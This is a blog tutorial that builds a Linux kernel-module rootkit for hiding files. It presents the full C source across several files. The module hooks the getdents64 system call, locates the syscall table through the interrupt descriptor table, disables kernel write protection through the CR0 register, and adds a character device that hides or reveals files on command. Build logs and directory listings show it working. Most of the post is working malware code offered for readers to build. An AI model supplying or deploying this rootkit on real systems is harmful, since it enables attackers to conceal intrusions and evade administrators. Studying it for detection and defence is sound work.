Normal view

There are new articles available, click to refresh the page.
Before yesterdayeXploit

Rootkit for Hiding Files

By: 0xe7
23 October 2014 at 14:19

In this post I am going to be putting together all of the knowledge we have gained in the previous posts and improving on the last rootkit in a few different ways.

I will fix the issue that I explained the last LKM had (being able to query the file directly using ls [filename]), while making it more portable and giving it the ability to hide multiple files but I will start with splitting the LKM into multiple files to make it easier to manage.

The code for this rootkit will be in a link at the bottom of the post in .tgz format.

Splitting The LKM

Having the LKM split across multiple files makes it easier to manage, especially as the module gets more and more complex.

First we will start with the main file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{

    sys_call_table = (void*)0xc1454100;
    original_getdents64 = sys_call_table[__NR_getdents64];

    set_page_rw(sys_call_table);
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    set_page_ro(sys_call_table);
    return 0;
}

static void __exit hidefiles_exit(void)
{
    set_page_rw(sys_call_table);
    sys_call_table[__NR_getdents64] = original_getdents64;
    set_page_ro(sys_call_table);
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

I've made a couple of changes here, like I've set the sys_call_table page to read only after I've made the change and changing the name of the init and exit functions, but other than that it is copy and pasted from the last LKM.

Now for the file containing the system calls:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define FILE_NAME "thisisatestfile.txt"

asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
    int rtn;
    struct linux_dirent64 *cur = dirp;
    int i = 0;
    rtn = original_getdents64(fd, dirp, count);
    while (i < rtn) {
        if (strncmp(cur->d_name, FILE_NAME, strlen(FILE_NAME)) == 0) {
            int reclen = cur->d_reclen;
            char *next_rec = (char *)cur + reclen;
            int len = (int)dirp + rtn - (int)next_rec;
            memmove(cur, next_rec, len);
            rtn -= reclen;
            continue;
        }
        i += cur->d_reclen;
        cur = (struct linux_dirent64*) ((char*)dirp + i);
    }
    return rtn;
}

We also need to create a header file for the syscalls so that the functions can be referenced from the main.c file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#ifndef SYSCALLS
#define SYSCALLS

#include <linux/semaphore.h>
#include <linux/types.h>
#include <linux/dirent.h>

// Functions
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
extern asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

#endif

This needs to be included in both the main.c and syscalls.c files, just add the line #include "syscalls.h" somewhere near the top.

This is why we have to put #ifndef, this ensures that the file will not be included twice.

Now we need to create the C file for the last set of functions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <asm/cacheflush.h>

int set_page_rw(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
    return 0;
}

int set_page_ro(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    pte->pte = pte->pte &~_PAGE_RW;
    return 0;
}

We also need to create a header file for these functions so we can use them inside main.c:

1
2
3
4
5
6
7
#ifndef FUNCTS
#define FUNCTS

int set_page_rw(unsigned long addr);
int set_page_ro(unsigned long addr);

#endif

This file also needs to be included in main.c with the line #include "functs.h".

We now need a makefile:

1
2
3
obj-m += hidefiles.o

hidefiles-y := main.o syscalls.o functs.o

I couldn't get it to work by just running make so I had to run the full command myself:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:21:9: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c:23:2: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c: In function ‘hidefiles_exit’:
/root/lkms/hidefiles/main.c:29:2: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c:31:9: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
  CC [M]  /root/lkms/hidefiles/functs.o
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkms/hidefiles/hidefiles.mod.o
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'

We can ignore these warnings for the moment, we are going to replace these functions anyway.

Now to test our rootkit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
[email protected]:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
[email protected]:~/lkms/hidefiles# touch thisisatestfile.txt
[email protected]:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
[email protected]:~/lkms/hidefiles# rmmod hidefiles
[email protected]:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt

So it seems to work nicely, now we can concentrate on extending it.

Automagically Finding sys_call_table

A brilliant writeup of how to find the sys_call_table, amungst other things, on x86 Linux is here. I highly recommend reading that post.

We are going to use the technique under section 3.1, titled How to get sys_call_table[] without LKM.

You can use a slight vairation of this technique on each architecture, just search Google a bit and you should be able to find something if you can't work it out from this description.

Firstly we need to read the Interrupt Descriptor Table Register (IDTR) and get the address of the base of the Interrupt Descriptor Table (IDT).

Offset 0x80 from the IDT base address is the address of a function called system_call, this function uses call to make system calls using the sys_call_table.

Once we have the base address of the system_call function we need to search through its code for 3 bytes ("\xff\x14\x85").

The memmem function just searches through code for a particular set of bytes and returns a pointer to it if found or NULL if not. Its implemented in libc but we will have to implement it ourselves in our LKM.

We also need to remember to include the 2 structs idtr and idt.

Here's the code for all of this which we can put into functs.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct {
    unsigned short limit;
    unsigned long base;
} __attribute__ ((packed))idtr;

struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none, flags;
    unsigned short off2;
} __attribute__ ((packed))idt;

void *memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen)
{
    char *p;

    for(p = (char *)haystack; p <= ((char *)haystack - needlelen + haystacklen); p++)
        if(memcmp(p, needle, needlelen) == 0)
            return (void *)p;
    return NULL;
}

unsigned long *find_sys_call_table(void)
{
    char **p;
    unsigned long sct_off = 0;
    unsigned char code[255];

    asm("sidt %0":"=m" (idtr));
    memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
    sct_off = (idt.off2 << 16) | idt.off1;
    memcpy(code, (void *)sct_off, sizeof(code));

    p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);

    if(p)
        return *(unsigned long **)((char *)p + 3);
    else
        return NULL;
}

We also need to add the following prototype to functs.h:

1
unsigned long *find_sys_call_table(void);

Lastly we need to edit main.c so that we get the address of sys_call_table using this method, we just replace the line that starts sys_call_table = with:

1
2
3
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;

Improving The Method Of Writing To Read-Only Memory

So far we have manually changed the page table entry to change the permissions on the specific page that we want to write to read-write.

As we are running with the same privileges as the kernel we can do this in an easier way and ensure that any changes to this mechanism in the future doesn't stop our ability to write to this memory.

Running in kernel mode we have the ability to change the CR0 register.

The 16th bit of the CR0 register is responsible for enforcing whether or not the CPU can write to memory marked read-only.

With this is mind we can rewrite the functions that we were using in functs.c for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void disable_write_protection(void)
{
    unsigned long value;
    asm volatile("mov %%cr0,%0" : "=r" (value));
    if (value & 0x00010000) {
        value &= ~0x00010000;
        asm volatile("mov %0,%%cr0": : "r" (value));
    }
}

void enable_write_protection(void)
{
    unsigned long value;
    asm volatile("mov %%cr0,%0" : "=r" (value));
    if (!(value & 0x00010000)) {
        value |= 0x00010000;
        asm volatile("mov %0,%%cr0": : "r" (value));
    }
}

I've changed the names to make it apparent that these functions are actually doing something different.

You also need to change the 2 prototypes in functs.h to:

1
2
void disable_write_protection(void);
void enable_write_protection(void);

Lastly we need to edit main.c, remember these new functions do not require an argument.

Multi-File Support

To support hiding multiple files we need to implement a character device to communicate with the rootkit (we could use a network connection but we'll take that up later) and we need a method of storing the data.

For storing the data we will use a linked list, the kernel has the ability to manipulate linked lists but I will create my own functions for doing this as a programming exercise (later we will investigate how to use the features already in the kernel).

Linked List

First let's create the linked list and the functions for adding and removing items:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
struct file_list {
    char *file_name;
    struct file_list *next_file;
};

typedef struct file_list list;

list *hidden_files = NULL;

void addfile(const char *f)
{
    list *tmp;
    char *s;
    if (hidden_files == NULL) {
        tmp = (list*)vmalloc(sizeof(list));
        s = vmalloc(sizeof(*f));
        strcpy(s, f);
        tmp->file_name = s;
        tmp->next_file = hidden_files;
        hidden_files = tmp;
    } else {
        tmp = hidden_files;
        while (tmp != NULL && (strlen(tmp->file_name) != strlen(f) || strncmp(tmp->file_name, f, strlen(tmp->file_name)) != 0)) {
            tmp = tmp->next_file;
        }
        if (tmp == NULL) {
            list *tmp2;
            tmp2 = (list*)vmalloc(sizeof(list));
            s = vmalloc(sizeof(*f));
            strcpy(s, f);
            tmp2->file_name = s;
            tmp2->next_file = hidden_files;
            hidden_files = tmp2;
        }
    }
}

void remfile(const char *f)
{
    list *tmp, *tmp2;
    int c = 0;
    tmp = hidden_files;
    while (tmp != NULL) {
        if (strlen(tmp->file_name) == strlen(f)){
            if (strncmp(tmp->file_name, f, strlen(tmp->file_name)) == 0) {
                if (c == 0) {
                    hidden_files = tmp->next_file;
                    vfree(tmp->file_name);
                    vfree(tmp);
                    return;
                }
                tmp2->next_file = tmp->next_file;
                vfree(tmp->file_name);
                vfree(tmp);
            }
        }
        tmp2 = tmp;
        tmp = tmp->next_file;
        c += 1;
    }
}

The structure of each element is defined at the top (lines 1 - 4), its pretty simple, just a basic singly linked list.

2 functions are then defined addfile and remfile, which are pretty self-explainitory, 1 thing to note here is that the vmalloc function is being used to allocate the memory, which allocates a contiguous address range of virtual memory, this obviously means that vfree has to be used to free the memory after.

Both of these functions take 1 argument, a string, and add or remove that string to the list depending on which function is called.

Its best to create a function that empties the list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void emptylist()
{
    list *tmp;
    tmp = hidden_files;
    while (tmp != NULL) {
        hidden_files = tmp->next_file;
        vfree(tmp->file_name);
        vfree(tmp);
        tmp = hidden_files;
    }
}

Lastly we need a function to check if a name exists in the list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int lookupfilename(const char *f)
{
    list *tmp;
    tmp = hidden_files;
    while (tmp != NULL) {
        if (strlen(tmp->file_name) == strlen(f)){
            if (strncmp(f, tmp->file_name, strlen(tmp->file_name)) == 0){
                return 1;
            }
        }
        tmp = tmp->next_file;
    }
    return 0;
}

This functions takes a string as an argument and iterates through the list checking, first the length, and then the whole string, against every entry in the list, if it finds a match it returns a 1, otherwise it returns a 0.

Initially I developed this linked list in a normal C application and just improved upon it and kernelfied it. :-) Here is my original application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct file_list {
    char *file_name;
    struct file_list *next_file;
};
typedef struct file_list list;
list *hidden_files = NULL;

void addfile(const char *f);
void remfile(char *f);
void printfiles();

void main()
{
    addfile("one");
    remfile("one");
    printfiles();
    addfile("two");
    printfiles();
    addfile("three");
    addfile("four");
    printfiles();
    remfile("two");

    printfiles();
}

void addfile(const char *f)
{
    list *tmp;
    if (hidden_files == NULL) {
        tmp = (list*)malloc(sizeof(list));
        char *s = malloc(sizeof(*f));
        strcpy(s, f);
        tmp->file_name = s;
        tmp->next_file = hidden_files;
        hidden_files = tmp;
    } else {
        tmp = hidden_files;
        while (tmp != NULL && strcmp(tmp->file_name, f) != 0) {
            tmp = tmp->next_file;
        }
        if (tmp == NULL) {
            list *tmp2;
            tmp2 = (list*)malloc(sizeof(list));
            char *s = malloc(sizeof(*f));
            strcpy(s, f);
            tmp2->file_name = s;
            tmp2->next_file = hidden_files;
            hidden_files = tmp2;
        }
    }
}

void remfile(char *f)
{
    list *tmp, *tmp2;
    int c = 0;
    tmp = hidden_files;
    while (tmp != NULL) {
        if (strcmp(tmp->file_name, f) == 0) {
            if (c == 0) {
                hidden_files = tmp->next_file;
                free(tmp->file_name);
                free(tmp);
                return;
            }
            tmp2->next_file = tmp->next_file;
            free(tmp->file_name);
            free(tmp);
        }
        tmp2 = tmp;
        tmp = tmp->next_file;
        c += 1;
    }
}

void printfiles()
{
    list *tmp;
    tmp = hidden_files;
    while (tmp != NULL) {
        printf("%s : %x\n", tmp->file_name, tmp->next_file);
        tmp = tmp->next_file;
    }
}

Clearly this application is using more primitive versions of the addfile and remfile functions above. Its also using the usermode's malloc and free instead of vmalloc and vfree for obvious reasons.

I only included this to show how I've developed these functions in usermode and then converted it to kernelmode.

Anyway, the kernel functions above (addfile, remfile, emptylist and lookupfilename) as well as the struct declarations and definition should go into the file list.c.

#include "list.h" should be put at the top and the file list.h should be created with the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#ifndef LIST
#define LIST

#include <linux/vmalloc.h>

// Functions
void addfile(const char *f);
void remfile(const char *f);
void emptylist(void);
int lookupfilename(const char *f);

#endif

We need to include the linux/vmalloc.h header file for the vmalloc and vfree functions.

syscalls.c needs to be changed, list.h needs to be included, the FILE_NAME definition should be removed and the strncmp line should be changed to use lookupfilename instead, so it should end up like the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "syscalls.h"
#include "list.h"

asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
    int rtn;
    struct linux_dirent64 *cur = dirp;
    int i = 0;
    rtn = original_getdents64(fd, dirp, count);
    while (i < rtn) {
        if (lookupfilename(cur->d_name) == 1) {
            int reclen = cur->d_reclen;
            char *next_rec = (char *)cur + reclen;
            int len = (int)dirp + rtn - (int)next_rec;
            memmove(cur, next_rec, len);
            rtn -= reclen;
            continue;
        }
        i += cur->d_reclen;
        cur = (struct linux_dirent64*) ((char*)dirp + i);
    }
    return rtn;
}

Because we want to hide some files when the LKM is loaded and also empty the list when the LKM is unloaded we need to include the list.h header file and make the relevent calls to addfile and emptylist in main.c, so our main.c should end up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

#include "syscalls.h"
#include "functs.h"
#include "list.h"

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;
    original_getdents64 = sys_call_table[__NR_getdents64];

    disable_write_protection();
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    enable_write_protection();
    addfile("thisisatestfile.txt");
    return 0;
}

static void __exit hidefiles_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents64] = original_getdents64;
    enable_write_protection();
    emptylist();
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

Lastly we need to edit the Makefile to include list.o, so it should end up like this:

1
2
3
obj-m += hidefiles.o

hidefiles-y := main.o syscalls.o functs.o list.o

Now to compile and test:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:18:17: warning: assignment from incompatible pointer type [enabled by default]
  CC [M]  /root/lkms/hidefiles/syscalls.o
  CC [M]  /root/lkms/hidefiles/list.o
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkms/hidefiles/hidefiles.mod.o
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
[email protected]:~/lkms/hidefiles# ls
functs.c  functs.o      hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h  thisisatestfile.txt
functs.h  hidefiles.ko  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls
functs.c  functs.o      hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
functs.h  hidefiles.ko  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# rmmod hidefiles
[email protected]:~/lkms/hidefiles# ls
functs.c  functs.o      hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h  thisisatestfile.txt
functs.h  hidefiles.ko  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o

So, as you can clearly see, our LKM automatically hides files on initialization and now should have the capability to hide multiple files.

Character Device

We now need the ability to communicate with the LKM to dynamically hide and unhide files. The only way we've learned how to do this so far is by using a character device.

This character device will be simpler than our previous one because we only need the write operation but you can implement read for feedback if you want.

We will put this in a new file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include "cdev.h"

#define DEV_MAX 512

static struct file_operations dev_fops = {
    .write = dev_write,
};

struct miscdevice dev_misc_device = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "hidefiles",
    .fops = &dev_fops
};

ssize_t dev_write(struct file *filep,const char *buff,size_t count,loff_t *offp )
{
    char temp_dev_file[DEV_MAX+1], new_dev_file[DEV_MAX];
    int i, n;
    memset(new_dev_file, 0, DEV_MAX);
    memset(temp_dev_file, 0, DEV_MAX+1);
    if(count > DEV_MAX){
        if(copy_from_user(temp_dev_file,buff,DEV_MAX) != 0)
            printk("Userspace -> kernel copy failed!\n");
        else {
            temp_dev_file[DEV_MAX] = '\0';
            for (i = 2, n = 0; i < strlen(temp_dev_file); i++, n++) {
                new_dev_file[n] = temp_dev_file[i];
            }
            if (strncmp(temp_dev_file, "a", 1) == 0 || strncmp(temp_dev_file, "A", 1) == 0) {
                addfile(new_dev_file);
            } else if (strncmp(temp_dev_file, "r", 1) == 0 || strncmp(temp_dev_file, "R", 1) == 0) {
                remfile(new_dev_file);
            }
        }
        return DEV_MAX;
    } else {
        if(copy_from_user(temp_dev_file,buff,count) != 0)
            printk("Userspace -> kernel copy failed!\n");
        else {
            for (i = 2, n = 0; i < strlen(temp_dev_file); i++, n++) {
                new_dev_file[n] = temp_dev_file[i];
            }
            if (strncmp(temp_dev_file, "a", 1) == 0 || strncmp(temp_dev_file, "A", 1) == 0) {
                addfile(new_dev_file);
            } else if (strncmp(temp_dev_file, "r", 1) == 0 || strncmp(temp_dev_file, "R", 1) == 0) {
                remfile(new_dev_file);
            }
        }
        return count;
    }
}

Here I'm setting the maximum size to 512 but you can set it to what you wish.

I also return the number of bytes written here so that it doesn't break some applications that try to write to it (python for example).

The first character of the input is being used as the operation (A or a for adding a file and R or r for removing a file) and the actual filename starts after the second character in the input.

I've also fixed the buffer overflow that was in the last character device.

We need to create the following header file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#ifndef CDEV
#define CDEV

#include <linux/fs.h>
#include <asm/uaccess.h>
#include <linux/miscdevice.h>

#include "list.h"

// Functions
ssize_t dev_write(struct file *filep,const char *buff,size_t count,loff_t *offp );


// Structs
extern struct miscdevice dev_misc_device;

#endif

Now we need to include cdev.h in main.c, by adding the line #include "cdev.h" at the top, initialize the device on load and remove the device on unload, so our main.c should end up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

#include "syscalls.h"
#include "functs.h"
#include "list.h"
#include "cdev.h"

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;
    original_getdents64 = sys_call_table[__NR_getdents64];

    disable_write_protection();
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    enable_write_protection();
    misc_register(&dev_misc_device);
    addfile("thisisatestfile.txt");
    return 0;
}

static void __exit hidefiles_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents64] = original_getdents64;
    enable_write_protection();
    misc_deregister(&dev_misc_device);
    emptylist();
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

Lastly we need to add cdev.o to the makefile:

1
2
3
obj-m += hidefiles.o

hidefiles-y := main.o syscalls.o functs.o list.o cdev.o

Now we just need to test it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
[email protected]:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/cdev.o
/root/lkms/hidefiles/cdev.c: In function ‘dev_write’:
/root/lkms/hidefiles/cdev.c:50:1: warning: the frame size of 1028 bytes is larger than 1024 bytes [-Wframe-larger-than=]
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
[email protected]:~/lkms/hidefiles# ls
app     cdev.h    functs.h      hidefiles.mod.c  list.c  main.c    modules.order   syscalls.h
app.c   cdev.o    functs.o      hidefiles.mod.o  list.h  main.o    Module.symvers  syscalls.o
cdev.c  functs.c  hidefiles.ko  hidefiles.o      list.o  Makefile  syscalls.c      thisisatestfile.txt
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.ko     hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
